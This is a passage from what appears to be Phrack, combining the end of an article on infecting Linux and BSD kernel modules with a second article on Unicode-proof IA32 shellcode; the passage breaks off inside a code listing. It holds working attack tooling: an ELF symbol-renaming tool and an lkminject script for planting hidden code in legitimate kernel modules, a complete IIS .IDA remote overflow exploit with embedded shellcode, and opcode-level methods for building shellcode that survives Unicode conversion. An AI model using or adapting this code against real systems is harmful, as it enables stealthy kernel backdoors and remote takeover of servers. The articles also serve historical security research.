int     gentil_lkmentry(struct lkm_table *, int, int);
int     gentil_lkmload(struct lkm_table *, int);
int     gentil_lkmunload(struct lkm_table *, int);
int     gentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
{
        DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
            gentil_lkmstat);
}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
        printf("gentil: Hello, world!\n");
        return (0);
}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
        printf("gentil: Goodbye, world!\n");
        return (0);
}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
        printf("gentil: How you doin', world?\n");
        return (0);
}
```

Here's the code that will be injected:

```
$ cat evil_lkm.c
#include <sys/cdefs.h>
```

```
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

int     gentil_lkmentry(struct lkm_table *, int, int);

int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
        switch(cmd) {
        case LKM_E_LOAD:
                printf("evil: in place\n");
                break;
        case LKM_E_UNLOAD:
                printf("evil: i'll be back!\n");
                break;
        case LKM_E_STAT:
                printf("evil: report in progress\n");
                break;
        default:
                printf("edit: unknown command\n");
                break;
        }

        return gentil_lkmentry(lkmt, cmd, ver);
}
```

After compiling gentil and evil we link them together:

```
$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o

# modload -e evil_entry gentil.o
Module loaded as ID 2

# modstat
Type    Id   Offset Loadaddr Size Info     Rev Module Name
DEV       0  -1/108 d3ed3000 0004 d3ed3440   1 mmr
DEV       1  -1/180 d3fa6000 03e0 d4090100   1 nvidia
MISC      2       0 e45b9000 0004 e45b9254   1 gentil

# modunload -n gentil

# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!
```

Ok, everything worked like a charm :)

------[5.2.3 - OpenBSD

OpenBSD don't use ELF on x86 architectures, so the tech cannot be used. I've not tested on platforms that use ELF but i think that it looks like NetBSD, so the tech can certainly be applied. Tell me if you manage to do it on OpenBSD ELF.

--[6 - Conclusion

This paper has enlarged the number of techniques that allows to dissimulate code into the kernel. I have presented this technique because it is interesting to do it with very few and easy manipulations.
Have fun when playing with it :)

--[7 - Greetings

I want to thanks mycroft, OUAH, aki and afrique for their comments and ideas. Also a big thanks to klem for teaching me reverse engineering.
Thanks to FXKennedy for helping me with NetBSD.
A big kiss to Carla for being wonderfull.
And finally, thanks to all #root people, `spud, hotfyre, funka, jaia, climax, redoktober ...

--[8 - References

[1] Weakening the Linux Kernel by Plaguez
    http://www.phrack.org/show.php?p=52&a=18

[2] The Adore rootkit by stealth
    http://stealth.7350.org/rootkits/

[3] Runtime kernel kmem patching by Silvio Cesare
    http://vx.netlux.org/lib/vsc07.html

[4] Static Kernel Patching by jbtzhm
    http://www.phrack.org/show.php?p=60&a=8

[5] Tool interface specification on ELF
    http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf

[6] Modutils for 2.4.x kernels
    ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4

[7] Tripwire
    http://www.tripwire.org

[8] Solaris Loadable Kernel Modules by Plasmoid
    http://www.thc.org/papers/slkm-1.0.html

--[9 - Codes

----[9.1 - ElfStrChange

```
/*
 * elfstrchange.c by truff <truff@projet7.org>
 * Change the value of a symbol name in the .strtab section
 *
 * Usage: elfstrchange elf_object sym_name sym_name_replaced
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <elf.h>

#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
                       Elf32_Shdr *shstrtable, char *res, size_t len);
```

```
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
                       Elf32_Shdr *strtable, char *res, size_t len);


int main (int argc, char **argv)
{
  int i;
  int len = 0;
  char *string;
  FILE *fd;
  Elf32_Ehdr hdr;
  Elf32_Shdr symtab, strtab;
  Elf32_Sym sym;
  Elf32_Off symoffset;

  fd = fopen (argv[1], "r+");
  if (fd == NULL)
    FATAL ("fopen");

  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
    FATAL ("Elf header corrupted");

  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
  {
    fprintf (stderr, "Can't get .symtab section\n");
    exit (EXIT_FAILURE);
  }

  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
  {
    fprintf (stderr, "Can't get .strtab section\n");
    exit (EXIT_FAILURE);
  }


  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
  if (symoffset == -1)
  {
    fprintf (stderr, "Symbol %s not found\n", argv[2]);
    exit (EXIT_FAILURE);
  }


  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);

  if (fseek (fd, symoffset, SEEK_SET) == -1)
    FATAL ("fseek");

  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
    FATAL ("fwrite");

  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);

  fclose (fd);

  return EXIT_SUCCESS;
}

Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
  int i;
  char symname[255];
  Elf32_Off offset;
  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
  {
    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
               SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
      FATAL ("Symtab corrupted");

    memset (symname, 0, sizeof (symname));
    offset = ElfGetSymbolName (fd, sym->st_name,
                        strtab, symname, sizeof (symname));
    if (!strcmp (symname, name))
      return offset;
  }

  return -1;
}


int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
    Elf32_Shdr *shdr)
{
  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
             SEEK_SET) == -1)
    FATAL ("fseek");

  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");

  return 0;
}


int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                         Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);

  memset (name, 0, sizeof (name));

  for (i=0; i<ehdr->e_shnum; i++)
  {
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
               SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");

    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
                       name, sizeof (name));
    if (!strcmp (name, section))
    {
      return 0;
    }
  }
  return -1;
}
```

```
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
    Elf32_Shdr *shstrtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == ’\0’)
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return 0;
}


Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
    Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == ’\0’)
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return (strtable->sh_offset + sym_name);
}
/* EOF */
```

----] 9.2 Lkminject

```
#!/bin/sh
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#      http://www.projet7.org                  - Security Researchs -
###########################################################################


sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2
```

```
sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm
# if needed.
make

ld -r $1 $(basename $2 .c).o -o evil.o

./elfstrchange evil.o init_module dumm_module
./elfstrchange evil.o evil_module init_module
./elfstrchange evil.o cleanup_module dummcle_module
./elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange

|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0b of 0x0f

|=------------=[Building IA32 'Unicode-Proof' Shellcodes]=-------------=|

|=---=|

|=------------=[obscou <obscou@dr.com||wishkah@chek.com>]=-------------=|

--[Contents

0 - The Unicode Standard

1 - Introduction

2 - Our Instructions set

3 - Possibilities

4 - The Strategy

5 - Position of the code

6 - Conclusion

7 - Appendix : Code

--[0 - The Unicode Standard

While exploiting buffer overflows, we sometime face a difficulty : character transformations. In fact, the exploited program may have modified our buffer, by setting it to lower/upper case, or by getting rid of non-alphanumeric characters, thus stopping the attack as our shellcode usually can't run anymore. The transformation we are dealing here with is the transformation of a C-type string (common zero terminated string) to a Unicode string.

Here is a quick overview of what Unicode is (source : www.unicode.org)

> "What is Unicode?
> Unicode provides a unique number for every character,
> no matter what the platform,
> no matter what the program,
> no matter what the language."
>
> --- www.unicode.org

In fact, because Internet has become so popular, and because we all have different languages and therefore different charaters, there is now a need to have a standard so that computers can exchange data whatever the program, platform, language, network etc...
Unicode is a 16-bits character set capable of encoding all known characters and used as a worldwide character-encoding standard.

Today, Unicode is used by many industry leaders such as :

Apple
HP
IBM
Microsoft
Oracle
Sun
and many others...

The Unicode standard is requiered by softwares like :
(non exhaustive list, see unicode.org for full list)

Operating Systems :

Microsoft Windows CE, Windows NT, Windows 2000, and Windows XP
GNU/Linux with glibc 2.2.2 or newer - FAQ support
Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI
Compaq’s Tru64 UNIX, Open VMS
IBM AIX, AS/400, OS/2
SCO UnixWare 7.1.0
Sun Solaris

And of course, any software that runs under thoses systems...

http://www.unicode.org/charts/ : displays the Unicode table of caracters
It looks like this :

Range	Character set
0000-007F	Basic Latin
0080-00FF	Latin-1 Supplement
0100-017F	Latin Extended-A
[...]	[...]
0370-03FF	Greek and Coptic
[...]	[...]
0590-05FF	Hebrew
0600-06FF	Arabic
[...]	[...]
3040-309F	Japanese Hiragana
30A0-30FF	Japanese Katakana

.... and so on until everybody is happy !

Unicode 4.0 includes characters for :

Basic Latin
Latin-1 Supplement
Latin Extended-A
Latin Extended-B
IPA Extensions
Spacing Modifier Letters
Combining Diacritical Marks
Greek Supplemental
Cyrillic Miscellaneous
Cyrillic Supplement
Armenian
Hebrew
Arabic
Syriac
Thaana
Devanagari
Bengali
Gurmukhi
Gujarati
Oriya
Tamil
Telugu
Kannada
Malayalam
Sinhala
Thai
Lao
Tibetan
Myanmar
Georgian
Block Elements
Geometric Shapes
Miscellaneous Symbols
Dingbats
Miscellaneous Math. Symbols-A
Supplemental Arrows-A
Braille Patterns
Arrows-B
Mathematical Symbols-B
Supplemental Mathematical Operators
CJK Radicals Supplement
Kangxi Radicals
Ideographic Description Characters
CJK Symbols and Punctuation
Hiragana
Katakana
Bopomofo
Hangul Compatibility Jamo
Kanbun
Bopomofo Extended
Katakana Phonetic Extensions
Enclosed CJK Letters and Months
CJK Compatibility
CJK Unified Ideographs Extension A
Yijing Hexagram Symbols
CJK Unified Ideographs
Yi Syllables
Yi Radicals
Hangul Syllables
High Surrogates

Hangul Jamo
Ethiopic
Cherokee
Unified Canadian Aboriginal Syllabic
Ogham
Runic
Tagalog
Hanunoo
Buhid
Tagbanwa
Khmer
Mongolian
Limbu
Tai Le
Khmer Symbols
Phonetic Extensions
Latin Extended
Greek Extended
General Punctuation
Superscripts and Subscripts
Currency Symbols
Combining Marks for Symbols
Letterlike Symbols
Number Forms
Arrows
Mathematical Operators
Miscellaneous Technical
Control Pictures
Optical Character Recognition
Enclosed Alphanumerics
Box Drawing
Low Surrogates
Private Use Area
CJK Compatibility Ideographs
Alphabetic Presentation Forms
Arabic Presentation Forms-A
Variation Selectors
Combining Half Marks
CJK Compatibility Forms
Small Form Variants
Arabic Presentation Forms-B
Halfwidth and Fullwidth Forms
Specials
Linear B Syllabary
Linear B Ideograms
Aegean Numbers
Old Italic
Additional Gothic
Deseret
Shavian
Osmanya
Cypriot Syllabary
Byzantine Musical Symbols
Musical Symbols
Tai Xuan Jing Symbols
Mathematical Alphanumeric Symbols
CJK Unified Ideographs Extension B
CJK Compatibility Ideographs Supp.
Tags
Variation Selectors Supplement
Supplementary Private Use Area-A
Supplementary Private Use Area-B

Yes it’s impressive.

Microsoft says :

"Unicode is a worldwide character-encoding standard. Windows NT, Windows 2000, and Windows XP use it exclusively at the system level for character and string manipulation. Unicode simplifies localization of software and improves multilingual text processing. By implementing it in your applications, you can enable the application with universal data exchange capabilities for global marketing, using a single binary file for every possible character code."
Wa have to notice that The Windows programming interface uses ANSI and Unicode API’s for each API, for example:

The API : MessageBox (displays a msgbox of course)
Is exported by User32.dll with :

```
                MessageBoxA     (ANSI)
                MessageBoxW     (Unicode)
```

MessageBoxA will accept a standard C-type string as an argument
MessageBoxW requieres Unicode strings as arguments.

According to Microsoft, internal use of strings is handled by the system itself that ensures a transparent translation of strings between different standards.
But if you want to use ANSI in a C program compiling under windows, you just have to define UNICODE and every API will be replaced by its ’W’ version.
This sounds logical to me, let’s get to the point now...

--[1 - Introduction

We will consider the following situation :

You send some data to a vulnerable server, and your data is considered as ASCII (standard 8-bits character encoding), then your buffer is translated into unicode for compatibility reasons, and then an overflow occurs with your transformed buffer.

For example, such an input buffer :

```
4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !...
0000 0000 0000 0000 0000 0000 0000 0000 ................
```

Would turn into :

```
4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o.
7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!.......
```

Then bang, overflow (yeah i know my example is stupid)

Under Win32 plateforms, a process usually starts at 00401000, this makes it possible to smash EIP with a return address that looks like :

```
                         ????:00??00??
```

So even with such a transformation, exploitation is still possible.
It will be a lot harder to get a working shellcode.
One possibility is to stuff the stack with untranformed data than contains the same shellcode many times, then do the overflow with the tranformed buffer, and make it return to one of your numerous shellcodes.
Here we assume that this was impossible because all buffers are unicode.
Needless to say that our assembly code won't go through this safely.
So we need to find a way to build a shellcode that resists to such a transformation. We need to find opcodes containing null bytes to build our shellcode.

Here is an example, it is a bit old but it is an example of how we can manage to get a shellcode executed even if our sent buffer is f**cked
(This exploit was working on my box, it runs against IIS www service) :

```
---------------- CUT HERE -------------------------------------------------

/*
   IIS .IDA remote exploit


   formatted return address : 0x00530053
   IIS sticks our very large buffer at 0x0052....
   We jump to the buffer and get to the point


   by obscurer
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

void usage(char *a);
int wsa();

/* My Generic Win32 Shellcode */
unsigned char shellcode[]={
"\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41"
"\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F"
[......]
[......]
[......]
"\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01"
```

```
"\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"};

int main (int argc, char **argv)
{

int sock;
struct hostent *host;
struct sockaddr_in sin;
int index;

char *xploit;
char *longshell;


char retstring[250];

if(argc!=4&&argc!=5) usage(argv[0]);


if(wsa()==FALSE)
{
        printf("Error : cannot initialize winsock\n");
        exit(0);
}


int size=0;

if(argc==5)
size=atoi(argv[4]);


printf("Beginning Exploit building\n");

xploit=(char *)malloc(40000+size);
longshell=(char *)malloc(35000+size);
if(!xploit||!longshell)
{
printf("Error, not enough memory to build exploit\n");
return 0;
}

if(strlen(argv[3])>65)
{
printf("Error, URL too long to fit in the buffer\n");
return 0;
}

for(index=0;index<strlen(argv[3]);index++)
shellcode[index+139]=argv[3][index]^0x20;

memset(xploit,0,40000+size);
memset(longshell,0,35000+size);
memset (longshell, ’\x41’, 30000+size);

for(index=0;index<sizeof(shellcode);index++)
longshell[index+30000+size]=shellcode[index];

longshell[30000+sizeof(shellcode)+size]=0;


memset(retstring,’S’,250);

sprintf(xploit,
        "GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n",
        retstring,
        longshell);
```

```
printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2]));

sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
        printf("Error : Couldn't create a socket\n");
        return 0;
}


if ((inet_addr (argv[1]))==-1)
    {
        host = gethostbyname (argv[1]);
    if (!host)
    {
                printf ("Error : Couldn't resolve host\n");
                return 0;
    }
memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr,
       (unsigned long *)host->h_addr,
       sizeof(host->h_addr));

}
else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]);


sin.sin_family=AF_INET;
sin.sin_port=htons(atoi(argv[2]));

index=connect(sock,(struct sockaddr *)&sin,sizeof(sin));
if (index==-1)
{
        printf("Error : Couldn't connect to host\n");
        return 0;
}

printf("Connected to host, sending shellcode\n");

index=send(sock,xploit,strlen(xploit),0);
if(index<1)
{
        printf("Error : Couldn't send trough socket\n");
        return 0;
}

printf("Done, waiting for an answer\n");

memset (xploit,0, 2000);

index=recv(sock,xploit,100,0);
if(index<0)
{
        printf("Server crashed, if exploit didn't work,
                                increase buffer size by 10000\n");
        exit(0);
}


printf("Exploit didn't seem to work, closing connection\n",xploit);

closesocket(sock);

printf("Done\n");

return 0;
}
---------------- CUT HERE -------------------------------------------------
```

In this example, the exploitation string had to be as follows :

```
"GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n"
```

If [BUFFER] is big enough, EIP is smashed with what it contains. But, i've noticed that [BUFFER] has been transformed into unicode when the overflow occurs. But something interesting was that [ANY] was a clean ASCII buffer, being mapped in memory at around : 00530000...
So i tried to set [BUFFER] to "SSSSSSSSSSSSS" (S = 0x53)
After the unicode transformation, it became :

```
...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53...
```

The EIP was smashed with : 0x00530053, IIS returned on somewhere around [ANY], where i had put a huge space of 0x41 = "A" (increments a register) and then, at the end of [ANY], my shellcode.
And this worked. But if we have no clean buffer, we are unable to install a shellcode somewhere in memory. We have to find another solution.

--[2 - Our Instructions set

We must keep in mind that we can't use absolute addresses for calls, jmp... because we want our shellcode to be as portable as possible.
First, we have to know which opcodes can be used, and which can't be used in order to find a strategy. As used in the Intel papers :

r32 refers to a 32 bits register (eax, esi, ebp...)
r8 refers to a 8 bits register (ah, bl, cl...)

- UNCONDITIONAL JUMPS (JMP)

JMP's possible opcodes are EB and E9 for relative jumps, we can't use them as they must be followed by a byte (00 would mean a jump to the next instruction which is fairly unuseful)

FF and EA are absolute jumps, these opcodes can't be followed by a 00, except if we want to jump to a known address, which we won't do as this would mean that our shellcode contains harcoded addresses.

- CONDITIONAL JUMPS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...)

The syntaxe for far jumps can't be used as it needs 2 consecutives non null bytes. the syntaxe for near jumps can't be used either because the opcode must be followed by the distance to jump to, which won't be 00. Also, JMP r32 is impossible.

- LOOPs (LOOP, LOOPcc : LOOPE, LOOPNZ..)

Same problem : E0, or E1, or E2 are LOOP opcodes, they must me followed by the number of bytes to cross...

- REPEAT (REP, REPcc : REPNE, REPNZ, REP + string operation)

All this is impossible to do because thoses intructions all begin with a two bytes opcode.

     - CALLs

Only the relative call can be usefull :
E8 ?? ?? ?? ??
In our case, we must have :
E8 00 ?? 00 ??   (with each ?? != 00)
We can’t use this as our call would be at least 01000000 bytes further...
Also, CALL r32 is impossible.

     - SET BYTE ON CONDITION (SETcc)

This instruction needs 2 non nul bytes. (SETA is 0F 97 for example).

Hu oh... This is harder as it may seem... We can’t do any test... Because we can’t do anything conditional ! Moreover, we can’t move along our code : no Jumps and no Calls are permitted, and no Loops nor Repeats can be done.

Then, what can we do ?
The fact that we have a lot of NULLS will allow a lot of operation on the EAX register... Because when you use EAX, [EAX], AX, etc.. as operand, it is often coded in Hex with a 00.

     - SINGLE BYTE OPCODES

We can use any single byte opcode, this will give us any INC or DEC on any register, XCHG and PUSH/POP are also possible, with registers as operands.
So we can do :
XCHG r32,r32
POP r32
PUSH r32

Not bad.

     - MOV

```
 _________________________________________________________________
|8800              mov [eax],al                                   |
|8900              mov [eax],eax                                  |
|8A00              mov al,[eax]                                   |
|8B00              mov eax,[eax]                                  |
|                                                                 |
|Quite unuseful.                                                  |
|_________________________________________________________________|
```

```
 _________________________________________________________________
|A100??00??        mov eax,[0x??00??00]                           |
|A200??00??        mov [0x??00??00],al                            |
|A300??00??        mov [0x??00??00],eax                           |
|                                                                 |
|These are unuseful to us. (We said no hardcoded addresses).      |
|_________________________________________________________________|
```

```
 _________________________________________________________________
|B_00              mov r8,0x0                                     |
|A4                movsb                                          |
|                                                                 |
|Maybe we can use these ones.                                     |
|_________________________________________________________________|
```

```
 _________________________________________________________________
```

```
|B_00??00??        mov r32,0x??00??00                                  |
|C600??            mov byte [eax],0x??                                 |
|                                                                      |
|This might be interesting for patching memory.                        |
|______________________________________________________________________|
```

- ADD

```
 ______________________________________________________________________
|00__              add [r32], r8                                       |
|                                                                      |
| Using any register as a pointer, we can add bytes in memory.         |
|                                                                      |
|00__              add r8,r8                                           |
|                                                                      |
| Could be a way to modify a register.                                 |
|______________________________________________________________________|
```

- XOR

```
 ______________________________________________________________________
|3500??00??        xor eax,0x??00??00                                  |
|                                                                      |
|                                                                      |
| Could be a way to modify the EAX register.                           |
|______________________________________________________________________|
```

- PUSH

```
 ______________________________________________________________________
|6A00              push dword 0x00000000                               |
|6800??00??        push dword 0x??00??00                               |
|                                                                      |
| Only this can be made.                                               |
|______________________________________________________________________|
```

--[3 - Possibilities

First we have to get rid of a small detail : the fact that we have such 0x00 in our code may requier caution because if you return from smashed EIP to ADDR :

```
... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ...
    ||
   ADDR
```

The result may be completely different if you ret to ADDR or ADDR+1 !
But, we can use as 'NOP' instruction, instructions like :

```
 ______________________________________________________________________
|0400              add al,0x0                                          |
|______________________________________________________________________|
```

Because : 000400 is : add [2*eax],al, we can jump wherever we want, we won't be bothered by the fact that we have to fall on a 0x00 or not.

But this need 2*eax to be a valid pointer.
We also have :

```
 ______________________________________________________________________
|06                push es                                             |
|0006              add [esi],al                                        |
|                                                                |
|0F000F            str [edi]                                     |
|000F              add [edi],cl                                  |
|                                                                |
|2E002E            add [cs:esi],ch                               |
|002E              add [esi],ch                                  |
|                                                                |
|2F                das                                           |
|002F              add [edi],ch                                  |
|                                                                |
|37                aaa                                           |
|0037              add [edi],dh                                  |
|                                  ; .... etc etc...             |
|________________________________________________________________|
```

We are just to be careful with this alignment problem.

Next, let’s see what can be done :

XCHG, INC, DEC, PUSH, POP 32 bits registers can be done directly

We can set a register (r32) to 00000000 :

```
 ________________________________________________________________
|push dword 0x00000000                                           |
|pop r32                                                         |
|________________________________________________________________|
```

Notice that anything that can be done with EAX can be done with any other register thanxs to the XCHG intruction.

For example we can set any value to EDX with a 0x00 at second position :
(for example : 0x12005678):

```
 ________________________________________________________________
|mov edx,0x12005600         ; EDX = 0x12005600                    |
|mov ecx,0xAA007800                                               |
|add dl,ch                  ; EDX = 0x12005678                    |
|________________________________________________________________|
```

More difficult : we can set any value to EAX (for example), but we will have to use a little trick with the stack :

```
 ________________________________________________________________
|mov eax,0xAA003400         ; EAX = 0xAA003400                    |
|push eax                                                        |
|dec esp                                                         |
|pop eax                    ; EAX = 0x003400??                    |
|add eax,0x12005600         ; EAX = 0x123456??                    |
|mov al,0x0                 ; EAX = 0x12345600                    |
|mov ecx,0xAA007800                                               |
|add al,ch                                                        |
|                   ; finally : EAX = 0x12345678                  |
|________________________________________________________________|
```

Importante note : we migth want to set some 0x00 too :

If we wanted a 0x00 instead of 0x12, then instead of adding 0x00120056 to the register, we can simply add 0x56 to ah :

```
 ________________________________________________________________
|mov ecx,0xAA005600                                               |
|add ah,ch                                                       |
|________________________________________________________________|
```

If we wanted a 0x00 instead of 0x34, then we just need EAX = 0x00000000 to begin with, instead of trying to set this 0x34 byte.

If we wanted a 0x00 instead of 0x56, then it is simple to substract 0x56 to ah by adding 0x100 - 0x56 = 0xAA to it :

```
 ________________________________________________________________
|                                     ; EAX = 0x123456??         |
|mov ecx,0xAA00AA00                                              |
|add ah,ch                                                       |
|________________________________________________________________|
```

If we wanted a 0x00 instead of the last byte, just give up the last line.

Maybe if you haven't thougth of this, remember you can jump to a given location with (assuming the address is in EAX) :

```
________________________________________________________________
|50                 push eax                                     |
|C3                 ret                                          |
|________________________________________________________________|
```

You may use this in case of a desperate situation.

--[4 - The Strategy

It seems nearly impossible to get a working shellcode with such a small set of opcodes... But it is not !
The idea is the following :

Given a working shellcode, we must get rid of the 00 between each byte.
We need a loop, so let's do a loop, assuming EAX points to our shellcode :

```
 _Loop_code_:____________________________________________________
|                               ; eax points to our shellcode    |
|                               ; ebx is 0x00000000              |
|                               ; ecx is 0x00000500 (for example)|
|                                                                |
|          label:                                                |
|43                 inc ebx                                      |
|8A1458             mov byte dl,[eax+2*ebx]                      |
|881418             mov byte [eax+ebx],dl                        |
|E2F7               loop label                                   |
|________________________________________________________________|
```

Problem : not unicode. So let's turn it into unicode :

43 8A 14 58 88 14 18 E2 F7, would be :
43 00 14 00 88 00 18 00 F7

Then, considering the fact that we can write data at a location pointed by EAX, it will be simple to tranform thoses 00 into their original values.

We just need to do this (we assume EAX points to our data) :

```
 ________________________________________________________________
|40                 inc eax                                      |
|40                 inc eax                                      |
|C60058             mov byte [eax],0x58                          |
|________________________________________________________________|
```

Problem : still not unicode. So that 2 bytes like 0x40 follow, we need a 00 between the two... As 00 can't fit, we need something like : 00??00, which won't interfere with our business, so :

```
                 add [ebp+0x0],al   (0x004500)
```

will do fine. Finally we get :

```
 ________________________________________________________________
```

```
|40                inc eax                                        |
|004500            add [ebp+0x0],al                               |
|40                inc eax                                        |
|004500            add [ebp+0x0],al                               |
|C60058            mov byte [eax],0x58                            |
|_________________________________________________________________|
```

-> [40 00 45 00 40 00 45 00 C6 00 58] is nothing but a unicode string !

Before the loop, we must have some things done :
First we must set a proper counter, i propose to set ECX to 0x0500, this will deal with a 1280 bytes shellcode (but feel free to change this).
->This is easy to do thanks to what we just noticed.
Then we must have EBX = 0x00000000, so that the loop works properly.
->It is also easy to do.
Finally we must have EAX pointing to our shellcode in order to take away the nulls.
->This will be the harder part of the job, so we will see that later.

Assuming EAX points to our code, we can build a header that will clean the code that follows it from nulls (we use add [ebp+0x0],al to align nulls) :

-> 1st part : we do EBX=0x00000000, and ECX=0x00000500 (approximative size of buffer)

```
 _________________________________________________________________

|6A00              push dword 0x00000000                          |
|6A00              push dword 0x00000000                          |
|5D                pop ebx                                        |
|004500            add [ebp+0x0],al                               |
|59                pop ecx                                        |
|004500            add [ebp+0x0],al                               |
|BA00050041        mov edx,0x41000500                             |
|00F5              add ch,dh                                      |
|_________________________________________________________________|
```

-> 2nd part : The patching of the 'loop code' :
43 00 14 00 88 00 18 00 F7 has to be : 43 8A 14 58 88 14 18 E2 F7
So we need to patch 4 bytes exactly which is simple :

(N.B : using {add dword [eax],0x00??00??} takes more bytes so we will use a single byte mov : {mov byte [eax],0x??} to do this)

```
 _________________________________________________________________

|mov byte [eax],0x8A                                              |
|inc eax                                                          |
|inc eax                                                          |
|mov byte [eax],0x58                                              |
|inc eax                                                          |
|inc eax                                                          |
|mov byte [eax],0x14                                              |
|inc eax                                                          |
|                  ; one more inc to get EAX to the shellcode     |
|_________________________________________________________________|
```

Which does, with 'align' instruction {add [ebp+0x0],al} :

```
 _________________________________________________________________

|004500            add [ebp+0x0],al                               |
|C6008A            mov byte [eax],0x8A   ; 0x8A                   |
|004500            add [ebp+0x0],al                               |
|                                                                 |
|40                inc eax                                        |
|004500            add [ebp+0x0],al                               |
|40                inc eax                                        |
|004500            add [ebp+0x0],al                               |
|C60058            mov byte [eax],0x58   ; 0x58                   |
|004500            add [ebp+0x0],al                               |
|                                                                 |
|40                 inc eax                                       |
|004500             add [ebp+0x0],al                              |
|40                 inc eax                                       |
|004500             add [ebp+0x0],al                              |
|C60014             mov byte [eax],0x14   ; 0x14                  |
|004500             add [ebp+0x0],al                              |
|                                                                 |
|40                 inc eax                                       |
|004500             add [ebp+0x0],al                              |
|40                 inc eax                                       |
|004500             add [ebp+0x0],al                              |
|C600E2             mov byte [eax],0xE2   ; 0xE2                  |
|004500             add [ebp+0x0],al                              |
|40                 inc eax                                       |
|004500             add [ebp+0x0],al                              |
|_________________________________________________________________|
```

This is good, we now have EAX that points to the end of the loop, that is to say : the shellcode.

-> 3rd part : The loop code (stuffed with nulls of course)

```
 _________________________________________________________________
|43                 db 0x43                                       |
